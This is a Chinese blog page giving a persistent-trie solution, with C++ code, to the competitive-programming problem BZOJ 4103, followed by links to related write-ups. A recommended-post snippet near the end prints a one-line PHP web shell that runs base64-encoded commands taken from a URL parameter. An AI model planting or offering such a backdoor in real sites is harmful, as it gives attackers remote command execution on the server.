http://www.lydsy.com/JudgeOnline/problem.php?id=4103

对长的那一维建可持久化trie树(主席树?)

最主要的思路是对短的那一维每一位暴力,每一位都记录分别匹配到了trie上的哪两个点(区间左开右闭,所以两个点)。

时间复杂度\(O(np\log m)\)。

#include<cstdio>
#include<cstring>
#include<algorithm>
using namespace std; const int N = 300003; struct node {int ch[2], s;} T[N * 32];
int cnt = 0, root[N], x[1003], y[N], n, m, tl[1003], tr[1003]; void update(int &pos, int num, int tmp) {
T[++cnt] = T[pos]; pos = cnt; ++T[pos].s;
if (tmp == -1) return;
update(T[pos].ch[(num >> tmp) & 1], num, tmp - 1);
} int query(int u, int d, int k, int tmp) {
if (tmp == -1) return 0;
if (tmp == 2) {
++tmp; --tmp;
}
int s = 0, v;
for (int i = u; i <= d; ++i) {
v = ((x[i] >> tmp) & 1) ^ 1;
s += T[T[tr[i]].ch[v]].s - T[T[tl[i]].ch[v]].s;
}
if (s >= k) {
for (int i = u; i <= d; ++i) {
v = ((x[i] >> tmp) & 1) ^ 1;
tl[i] = T[tl[i]].ch[v];
tr[i] = T[tr[i]].ch[v];
}
return query(u, d, k, tmp - 1) | (1 << tmp);
} else {
k -= s;
for (int i = u; i <= d; ++i) {
v = (x[i] >> tmp) & 1;
tl[i] = T[tl[i]].ch[v];
tr[i] = T[tr[i]].ch[v];
}
return query(u, d, k, tmp - 1);
}
} int main() {
scanf("%d%d", &n, &m);
for (int i = 1; i <= n; ++i) scanf("%d", x + i);
for (int i = 1; i <= m; ++i) {
root[i] = root[i - 1];
scanf("%d", y + i);
update(root[i], y[i], 30);
} int p, u, d, l, r, k; scanf("%d", &p);
while (p--) {
scanf("%d%d%d%d%d", &u, &d, &l, &r, &k);
for (int i = u; i <= d; ++i)
tl[i] = root[l - 1], tr[i] = root[r];
printf("%d\n", query(u, d, k, 30));
}
return 0;
}

【BZOJ 4103】【THUSC 2015】异或运算的更多相关文章

  1. BZOJ 4103 [Thusc 2015]异或运算 (可持久化01Trie+二分)

    题目大意:给你一个长方形矩阵,位置$i,j$上的数是$a_{i}\;xor\;b_{j}$,求某个子矩阵内第$K$大的值 最先想的是二分答案然后验证,然而是$O(qnlogmloga_{i})$,不出 ...

  2. 【BZOJ 4103】 4103: [Thu Summer Camp 2015]异或运算 (可持久化Trie)

    4103: [Thu Summer Camp 2015]异或运算 Time Limit: 20 Sec  Memory Limit: 512 MBSubmit: 474  Solved: 258 De ...

  3. [BZOJ4103][Thu Summer Camp 2015]异或运算 可持久化Trie树

    4103: [Thu Summer Camp 2015]异或运算 Time Limit: 20 Sec  Memory Limit: 512 MB Description 给定长度为n的数列X={x1 ...

  4. [BZOJ 4103] [Thu Summer Camp 2015] 异或运算 【可持久化Trie】

    题目链接:BZOJ - 4103 题目分析 THUSC滚粗之后一直没有写这道题,从来没写过可持久化Trie,发现其实和可持久化线段树都是一样的.嗯,有些东西就是明白得太晚. 首先Orz ZYF-ZYF ...

  5. 【BZOJ 4103】 [Thu Summer Camp 2015]异或运算 可持久化01Trie

    我们观察数据:树套树 PASS    主席树 PASS  一层一个Trie PASS 再看,异或!我们就把目光暂时定在01Tire然后我们发现,我们可以带着一堆点在01Trie上行走,因为O(n*q* ...

  6. BZOJ 4103: [Thu Summer Camp 2015]异或运算 可持久化trie

    开始想了一个二分+可持久化trie验证,比正解多一个 log 仔细思考,你发现你可以直接按位枚举,然后在可持久化 trie 上二分就好了. code: #include <bits/stdc++ ...

  7. 【BZOJ 4104】【THUSC 2015】解密运算

    http://www.lydsy.com/JudgeOnline/problem.php?id=4104 网上题解满天飞,我也懒得写了 #include<cstdio> #include& ...

  8. bzoj4103: [Thu Summer Camp 2015]异或运算

    对于每个询问暴力枚举x~y,然后在Trie去找第k大,开始我写了个二分答案然后算比当前答案大的个数,打了个第10个点的表就跑出19s+比bzoj垫底还慢4s+ 然而不用二分,直接1000个点一起在树上 ...

  9. BZOJ4103 [Thu Summer Camp 2015]异或运算 【可持久化trie树】

    题目链接 BZOJ4103 题解 一眼看过去是二维结构,实则未然需要树套树之类的数据结构 区域异或和,就一定是可持久化\(trie\)树 观察数据,\(m\)非常大,而\(n\)和\(p\)比较小,甚 ...

  10. bzoj4103 [Thu Summer Camp 2015]异或运算(可持久化trie)

    内存限制:512 MiB 时间限制:1000 ms 题目描述 给定长度为n的数列X={x1,x2,...,xn}和长度为m的数列Y={y1,y2,...,ym},令矩阵A中第i行第j列的值Aij=xi ...

随机推荐

  1. 转载:WebView

    前言 现在很多App里都内置了Web网页(Hyprid App),比如说很多电商平台,淘宝.京东.聚划算等等,如下图 那么这种该如何实现呢?其实这是Android里一个叫WebView的组件实现的.今 ...

  2. DesignPattern

    目录

  3. php中的base64写shell

    <?php system(base64_decode($_GET['info'])); #http://localhost/1.php?info=d2hvYW1p #这只是一个例子 ?>

  4. Linux typeof【转】

    转自:http://blog.csdn.net/xiaofeng_yan/article/details/5248633 今天偶然又看到了typeof这个东西,只知道它大概是返回变量的类型,后来上网查 ...

  5. python基础===self的理解

    self是类的实例 self有点类似java中的this,无实际意义.但是约定俗成的都是用self表示类的实例 class A: def func(self): print(self) #指向的是类的 ...

  6. centos安装--两张光盘

    不是有两个ISO吗?你在别的电脑上打开第二个iso,就可以看到里面是openoffice的语言包.你安装的时候出现的提示是找不到“openoffice.org-langpack-zh-TW-3.1.1 ...

  7. mysql 5.6在gtid复制模式下复制错误,如何跳过??

    mysql 5.6在gtid复制模式下复制错误,如何跳过?? http://www.xuchanggang.cn/archives/918.html

  8. leetcode 343. Integer Break(dp或数学推导)

    Given a positive integer n, break it into the sum of at least two positive integers and maximize the ...

  9. 【hihocoder】sam-3

    把Parent Tree拓扑排序下,然后从下往上合并. 具体的看官方题解啦~ #include<bits/stdc++.h> #define N 1000010 using namespa ...

  10. 使用XShell通过SSH访问Google谷歌云服务器方法

    1:先用Xshell创建个密钥 下一步到这里,这个名称要记得,谷歌后台要用的. 把这里的公钥复制出来,当然最好也可以备份下. 2:到谷歌后台去添加ssh,然后就能连接了. 复制刚才生成的公钥,在谷歌云 ...